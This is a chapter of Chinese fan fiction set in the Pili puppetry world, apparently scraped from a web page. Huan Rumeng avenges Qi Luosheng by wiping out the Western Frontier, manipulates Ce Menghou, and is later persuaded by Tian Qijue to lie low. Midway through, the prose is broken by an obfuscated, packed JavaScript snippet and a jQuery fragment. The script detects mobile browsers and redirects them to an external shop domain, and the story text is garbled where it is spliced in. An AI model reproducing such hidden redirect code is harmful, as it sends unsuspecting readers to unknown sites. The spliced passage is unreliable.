葬刀会的幕后首领是七修创者步武东皇戚太祖。烈武坛,天佛原乡,这两方不能动,还要留着打魔佛波旬呢。
所以也就剩下西疆了,柿子挑软的捏。
理由也很充分,西疆的人毒杀绮罗生,她就毒杀他们。
不是只有意琦行会迁怒的,欢如梦也可以,而且她这还是有理有据的复仇。
第三枚花种,在欢如梦原定的设想中,是留给一留衣的。
但现在显然有了更好的归宿。
人不能用一成不定的眼光看待时刻变化的事物,欹月寒不正是最好的人选吗?灭了西疆,给欹月寒种下花种。
欢如梦是选中欹月寒作为自己的转世身。
那又怎么样?
西疆是欹月寒的西疆,不是欢如梦的西疆。欹月寒招惹了意琦行,留着西疆势力弊大于利,不如全杀了,干脆利落的永绝后患。
待欢如梦转生后,就用不上西疆了,傅月影自要有傅月影的机遇。
从选中欹月寒的那一刻开始,她们就是敌对关系。她要用傅月影的身躯,就要挤走原主的意志,从本质上来说欢如梦就是鸠占鹊巢的卑鄙窃贼、杀人凶手。
都做杀人凶手了,难道还会心软?
所以她会用一切手段夺取削弱欹月寒的气运。
至于旧日神所说她要转生须承受欹月寒带来的反噬,以及其身负孽果之事。
反噬?
把欹月寒改造成她的欲花,不就没有反噬了。
孽果?
那是原主的孽果,跟欢如梦有什么关系,凭什么要她来背。
欹月寒要下地狱就去下,反正她不下。
没看旧日都没吱声吗?欢如梦就知道,她肯定是搔到这个乐子神的痒处了。
同样与原定计划有变的还有绮罗生,作为实验品的策梦候没出事,他先遭遇死劫了。欢如梦也通过绮罗生的死验证了一个猜想。
假如与欢如梦缔结因果的天命者去世,那么此人对欢如梦的眷顾会停留在死去的那一刻,成为一根死线。虽同样可以连接碎裂的魂体却不再产生因果之力,不再具备安抚魂体的额外功能。
从长远来看,天命者活着的利益比死了的贡献要多。
所以有条件的话,能保还是可以保一下。但遇上存心找死的,也犯不上把自己搭上去。
比如说要是策梦候也把自己作死了,对欢如梦影响也不大,顶多就是会损失一些眷顾。天命者的因果已经融入了她的魂体,生米煮成熟饭。
除非欢如梦魂死道消,否则谁也不能把因果线从她的魂体中剥离。
但若正巧碰上个有手段的先天,比如说这人诈尸了,或者转世了,那就是中了头奖。
就算死了,欢如梦也能享受到此人留下的余泽。
欢如梦看着绮罗生那条重新焕发出光芒的因果线,巧了,她中头奖了。
死神找不到的人。
就是一种因缘际会下,生在了不属于时间范畴的人。
这样的人身上没有时间的刻度,不受时间的监察,就连死亡也很难对他们掌控。这种人最大的特点就是,无论遇到多大危机总能顺利逃过一劫,好像死神不曾寻找到他们一般。
而绮罗生正是死神找不到的人。
不愧是她,眼光就是好。
明明是欢如梦打着重情重义的旗号主动撕碎小仙女的人设,结果是策梦侯先受不了。
从构陷妖绘天华开始,他就与血傀师死死的绑定在了一条船上。
一起做过坏事的人,他们的关系肯定会紧密且互相防备,想下船?痴心妄想!
既然已经参与了,那就再也无法回头,死也得死在这条船上,根本无法独善其身!
如果有一天他也沦落到同样的境地,欢如梦会像对待绮罗生那样对待他吗?
策梦侯一直在克制自己不去想这个问题,如今他再也不能自欺欺人了。
因为他心里很清楚,不会。
他在欢如梦心中本就为数不多的位置被妖绘天华分走一大半,绮罗生死后,连仅有的一丝温情都被夺走了。
活人永远争不过死人。
如同妖绘天华一样。
提起妖绘天华,策梦侯就一肚子火。
什么多年好友,什么忘年交,什么情同师徒……策梦侯一个字都不信!那糟老头子坏得很,以梦儿的长辈自居,干着情敌才会做的事,眼睛瞎了心倒是不瞎,排除异己这一套玩得挺溜啊。
别以为策梦侯查不出欢如梦游历回来之后消息是被谁封锁的!
他第一个查的就是你留妖山城的人!
还动不动就跟如梦说他的坏话!
别以为他不知道!梦儿为他白了头发!
策梦侯曾经为妖绘天华的死而感到一丝安心。
还想着趁虚而入,可惜计划被打乱了。欢如梦不接招,把桌子给掀了。
策梦侯想着,没关系,欢如梦总要回来的,正好给他时间修练八品神通,到时候再找机会好了。
现在看来显然放心得太早了。
在策梦侯还没来得及喘口气的时候,第二个比妖绘天华还要可怕的对手出现了!
绮罗生死了。他本就洁白无瑕的形象,只会在欢如梦的记忆里无限美化,变得更加完美无缺。
而且这两个人,恰好身为八品神通中他始终无法取得突破的情花和兽花两脉!
两相比较之下,策梦侯如何能够忍受!
真是他的好花友。
莫不是死了都要给他添堵?
他知道自己胡思乱想的状态不太对劲,跟两个死人计较更是昏了头,但他就是无法控制自己不去想这个问题。
汲汲营营半生,八品神通不成,连在白月光初恋那里的一点地位都保不住了。
梦儿根本就不在乎他……
浓烈的爱她记不住,那么恨呢?
“纤云弄巧,飞星传信,银汉秋光暗度。金风玉露一相逢,便胜却人间无数。”
策梦侯笑念。
欢如梦觉得他有些莫名其妙,顺着他的目光看了一眼,却见策梦侯此时正朝自己看了过来。
“七月七日长生殿,夜半无人私语时。梦儿,汝可复忆否?”
啊这,策梦侯该不会是被什么附体了吧?
欢如梦一身素白衣裙坐在梳妆台前,策梦侯手执玉梳,为她半盘发髻。
她一时沉默,让策梦侯会错了意。
“唉……汝果然忘却矣,吾知汝今心思皆在为绮罗生复仇。”
欢如梦看着琳琅满目的首饰皱了一下眉头。
策梦侯轻轻一笑,挑选出两支成对的白玉素簪,简单的插在欢如梦的发髻上。
“吾知汝今无心妆饰,汝身着白衣,落饰以哀思祭故人。然有时,亦难免思念,若吾念汝昔日之美丽,汝肯为吾自妆否?“
既视感更强了。
怎么那么像乐子神看过的某个话本子?
欢如梦垂下的眸子晦涩难明,策梦候看不到她古怪的眼神,将双手轻柔的搭在她的双肩。
“好了,吾与汝同往吧。”
欢如梦抬眼看向镜子里的人影,策梦候站在他的身后,双双看着镜子里的对方。策梦候竟然觉得她喜怒不定?她看策梦候也不遑多让啊。
别以为她不知道!策梦候爱的不就是她从不伪装的“真性情”吗?
欢如梦作势叹息,态度似是有几分软化。
“不必了,你从来不涉江湖风波,何苦陪我蹚这一趟浑水呢。”
男子眼中闪过缕缕明晦不定的光芒,缓缓俯身,在她的耳畔柔声低语:
“汝言即他人也。他人何以与汝比肩,请女君容吾一观,汝自妖绘天华处所习得技艺之精妙。使吾安心,不复为汝之安危而昼夜忧烦。”
等的就是这句话。
策梦候也是有些口不择言了,看来修炼屡经挫折让他吃了不少苦头。也是,按常理来说,人只有在功体尽废的情况下,才会底牌尽出。但是欢如梦是装的呀,策梦候注定要失望了。
想看就看吧,看了才能彻底死心。
红潮消失一事,策梦候肯定知道她把情蛮花送给天踦爵了,他是多么精明的一个人啊,情蛮花怕是已经来到他的手中了。只是他引而不发,明显是还想找个退路。
哪里还有什么退路?
他的上升通道已经被欢如梦堵死了,唯有赌命以身饲花,方有一丝可能成就八品神通。
策梦候自知再无出路,自然会做出正确的选择。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12328724|131097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至于在那之后……若是他活下来,不是还有傅月影这个身份吗?只要她还活在这世上一天,策梦候永远别想练成完整的八品神通。
她最近学了个新词,上岸第一剑先斩意中人。
用来形容她倒也算是恰如其分。
女子,持一手杖,一袭白衣。
一日屠遍西疆,所过之处白牡丹盛放,天下人间第一香,为故人送葬。
花冠明毓欢如梦之名响彻武林。
天踦爵头疼了,前脚他还在天佛原乡和意琦行双方之间周旋,从中调解争端。后脚一个不留神,欢如梦在西疆部落杀了个七进七出。
人不可貌相啊……
初见这个姑娘时天踦爵就觉得,如果妖绘天华没过世,她会是个安贫乐道的低调养花人。
人才到底是人才,做什么都是人才,欢如梦一介功体尽废的医者真就搞出这么大的阵仗。
但天踦爵是什么人,他是素还真啊。
素贤人通常都会给人一个机会。
如果是敌人,怎么炮制看形势。如果是战友就多上份心,有机会的话拉一把。
欢如梦这个事……想都不用想,肯定是为了给绮罗生报仇,人之常情。
而且她只搞欹月寒的人,西疆都死绝了,唯一的不确定性就是下落不明的毒首鸩主人欹月寒。
天踦爵心道,还是得让欢如梦避避风头。小姑娘下手没个轻重,要是继续下去惹了众怒,很有可能会被就群起而攻之。
这事说大不大说小也不小,难的是善后。
留妖山城没有人在,梦花境、欲花天坛也扑了个空,天踦爵一边拯救苍生一边到处找人,乘着欢如梦这股东风处理了一些潜藏的隐患。
最后打听到欢如梦曾出现在玉阳江附近,她在玉阳山有一栋别业。
于是他进山拜访,话里话外全是劝慰。
大意如下:
我知道你为绮罗生的死而伤心,我同样很伤心。我能够理解,你已经做得够多了,再冒头就会被有心人盯上。
相信绮罗生也不愿意看到,原本灵性自然的你沉陷仇恨之中无法自拔,从而丧失了本来面目。
西疆就算了,搞了就搞了吧。其他势力水太深你把握不住,别把自己搭进去。
所以见好就收吧姑娘!凡事过犹不及。
大规模杀伤性武器可别再用了!
意琦行已经让我够头疼了,给我个面子,哪怕看在绮罗生的份上,咱们歇歇身体吧。别到时候意琦行没倒,你先倒下了。
你可是大夫啊,意琦行出事儿了我找谁去?他可是绮罗生的遗产,若有闪失,不用我说,你自己都觉得没办法给绮罗生交代吧?
在天踦爵一通晓之以情,动之以理之下,欢如梦答应了。
天踦爵松了口气。
据他对欢如梦的了解来看,她答应了,那就是真的答应了。
如果意琦行也这么省心就好了。
“劳先生为我筹谋了,吾不便饮酒,一杯清茶敬先生。”
“无妨,姑娘客气。倒是姑娘目露追忆之色,想必这间别业对你来说意义非凡。”
现成的理由都递到嘴边了,哪有不接的道理。
欢如梦开始讲述起她和绮罗生之间的故事,叙事客观,细节添油加醋再加点个人情感,比如说对同修的滤镜之类的。
天踦爵倒也有闲心居然听完了。
天踦爵听完就知道,好好的一个姑娘为什么变成颠婆了。
接二连三的经历亲朋好友的死亡,这种打击是巨大的。然而命运就是如此无常,不曾因为她的通情达理而放过她,还抢走了她仅剩的亲友,欢如梦也因此功体尽废。
欢如梦柔弱的喝了口药茶,道:
“其实我原本也打算退隐一段时间,此法再一不可再二,我手无缚鸡之力,不过是打的一个出其不意。短时间内是无法再下手了,只能徐徐图之。”
正如这位贤人所说,她已经做的够多了,剩下的部分让意琦行在前面冲锋陷阵吧,她只需要在后方坐享其成,美美隐身就好。
“……姑娘过谦了。”
道理虽然是这个道理,但是
你已经让整个西疆部落给绮罗生陪葬了。你管这叫手无缚鸡之力?